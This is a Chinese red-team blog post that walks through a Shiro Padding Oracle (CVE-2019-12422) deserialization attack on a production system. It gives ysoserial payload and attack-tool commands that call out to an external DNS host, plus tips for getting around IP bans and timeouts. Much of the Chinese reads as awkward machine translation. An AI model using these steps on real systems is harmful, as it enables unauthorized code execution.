Part1 前言

大家好，上期分享了一个银行站Java 的SSRF结合洞案例，本讲座分享一个Shiro Padding Oracle利用漏洞的过程。

Shiro自16年公布以来，反序列化漏洞已有6年，每次攻防比赛都能遇到，攻击大致可分为两种方式：

1一个是攻击队平时最常用的Shiro-550，对应CVE-2016-4437，影响范围Apache shiro<=1.2.4。漏洞成因是AES使用漏洞的前提是猜测加密key。

2另一种是Shiro-721，对应CVE-2019-12422，影响范围Apache Shiro < 1.4.2。后期Shiro组件的加密key它是由系统随机生成的，无法猜测key。但安全专家很快发现，Shiro加密方法是AES-128-CBC，CBC有一种加密方法 Padding Oracle Attack有反序列化数据的漏洞可以获得AES将加密文发送到服务端后，shiro组件将解密并触发反序列化代码执行漏洞。这种攻击的前提是登录后台获得合法性Cookie。

一次成功的Shiro Padding Oracle通常需要几个小时才能判断服务器的返回。因为使用这个漏洞需要很长时间，所以很容易被利用waf封禁，所以在真正的红队项目中，这个漏洞的攻击成功案例很少，大部分都是在虚拟机环境中测试的。

然而，在真实的生产环境中，有一个红队项目迫使我成功地进行了攻击，因为现在外围的管理越来越困难，很难找到一个洞，也不愿意放弃。在这段时间里，我踩了很多坑，只能说：在虚拟机环境和生产环境下使用漏洞是非常不同的。接下来，分享具体的实战过程。

Part2 研究过程

• 虚拟机下测试

首先虚拟机下的漏洞测试过程：

本地建设环境，勾选网页Remember Me选项，首先burpsuite登陆后抓住一个Cookie。

使用ysoserial生成反序列化工具包URLDNS的payload java -jar ysoserial-9-echo-all.jar URLDNS http://www.ddd.com > payload.ser

使用工具PaddingOracleAttack来测试 ：

java -jar PaddingOracleAttack-1.0-SNAPSHOT.jar http://192.168.237.128:8080/samples-web-1.2.42/ TsXEGDoadwH9nWC3g7WmdN1Ntzbw0kqQMx3ZEaPqL3 wXZW7jsgImQp8tJi/SDMWjlsWAljJ1bwbyhps/Kf1kK2uu0B5XfyeuAQ7SwO8wGPRcO3u CW0D5XgSrxJZNI2iQK1sGV4z/hRxyVpXf1unsUUISmNaNiP1o0hULvu3vEgqLaSI435iliJiiarLKh2 UOlAE/lpyJEWgjZvNWFtNHCuIZvBfcJheJ4Thy8OvPytDyASaEwsZtFq2883t8awu9N1wdR2a7g7ONJsVU1yX7d7S8wnrov4PheKVQhiBwLfLa2iMq2MBXrpWtGec8oH7bf48ZD8e2Bbtqu9rV8JKeVbVSjfqYBlUzeLajoboQWtXlNzDtJtbfooqnrgC8BiLvLfElcY8bMiRsmcMovkOxR7Yt5lCVhvfFpUnr3Z7y94lSK3lLUPJ2JxjAzGK45iP5WKreEaQ4S8PyggTmR3dkLtmRfJ4jk4PmbpNDx8BaQAxJIuwjGX2G92JavY 16 payload.ser

配置后，攻击过程开始:

大约一个小时后，工具将返回一个小时rememberMe Cookies值

使用burpsuite发包后，dns记录证明了漏洞的成功利用。

虚拟机下测试，基本上按照上述步骤逐步操作，可以攻击成功，但在生产环境中，各种奇怪的问题出现，主要遇到四个坑：

• 第一个坑：网络超时问题

在真实的战斗环境中，我们的攻击对象是外部网络应用程序系统，持续几个小时的合同过程，不可避免地会出现网络加班。我发现，现有的相关漏洞使用工具或脚本，只要网络加班一次，程序就会报告错误，整个攻击过程就会停止。因为这些程序没有处理合同失败的异常情况，导致工具停止工作。

接下来，我别无选择，只能自己换工具，因为我用了java习惯写程序。所以我从github上看了几个Java写的Shiro Padding Oracle找到了工具longofo作者写的工具看起来不错。所以下载源代码并使用它idea加载，修改代码，代码很好low，但快速解决问题。

如下图所示：一旦合同失败，程序将重新合同，重试不超过20次。一旦合同成功，跳出循环，进行下一次合同。以后再谈谈为什么要重试20次，啊，太难了。

为了便于实时检查攻击过程中的问题，我在异常处理过程中添加了几行代码。一旦合同失败，输出错误提示。

• 第2个坑：GET请求变HEAD

解决了网络加时问题，后续发现工具速度可以提高。作者的工具是GET所以果断地要求GET请求换成了HEAD请求，速度提高了很多。。。如下图所示：我把它拿走了。HttpGet方法被自己写的方法所取代HttpHead方法。

• 第3个坑：封IP及代理池问题

连续发包快半个小时的时候，程序一直在网络上加班，吓了我一跳。我以为我挂了网站，发现了我的IP被封了。后期发现每次攻击30分钟左右，IP由于种种原因，会被封禁一次。所以我挂了一个付费的代理池，结果有代理池ip不稳定，经常报错，而且严重拖慢攻击速度，显然对于Shiro Padding Oracle 攻击不适用。啊，太难了。。。我别无选择，只能把超时重试次数改为20次，因为20次重试时间足够长，一旦发现被封存IP，我会拨号一次IP就这样，还是换宽带拨号？IP稳定。

• 第4个坑：payload过长

攻击时间的长短取决于ysoserial生成的payload的大小，payload攻击时间越长，攻击时间越长。所以我发现了各种各样的测试Ysoserial工具中的URLDNS及JRMPClient这两个payload足够短，更适合做shiro padding oracle攻击。尤其是JRMPClient这个payload，如果目标系统可以出网，可以在服务端不断更换使用链进行尝试，成功的概率很大。

最后，攻击成功了。我花了不到一个小时在虚拟机下完成，但在真实的生产环境测试中，攻击成功了一次DNS或者JRMPClient攻击，程序需要跑4个小时左右，两次攻击加起来近9个小时。所以，太难了。

Part3 总结

1. 没有0day的时候，就把Nday用到极致。

2.反序列化攻击exp，通常需要根据不同的生产环境进行修改，不能生搬硬套。

3.对于这情况下，由于攻击过程太长，真正有价值的是URLDNS、JRMPClient，其它的CC链 CB链的payload长度太长，攻击成功需要几天时间，基本上很难。

4.Shiro Padding Oracle下班后最好进行测试，避免业务高峰期，减少对生产环境的业务影响。

专注于红蓝队技术分享

请注意每周一篇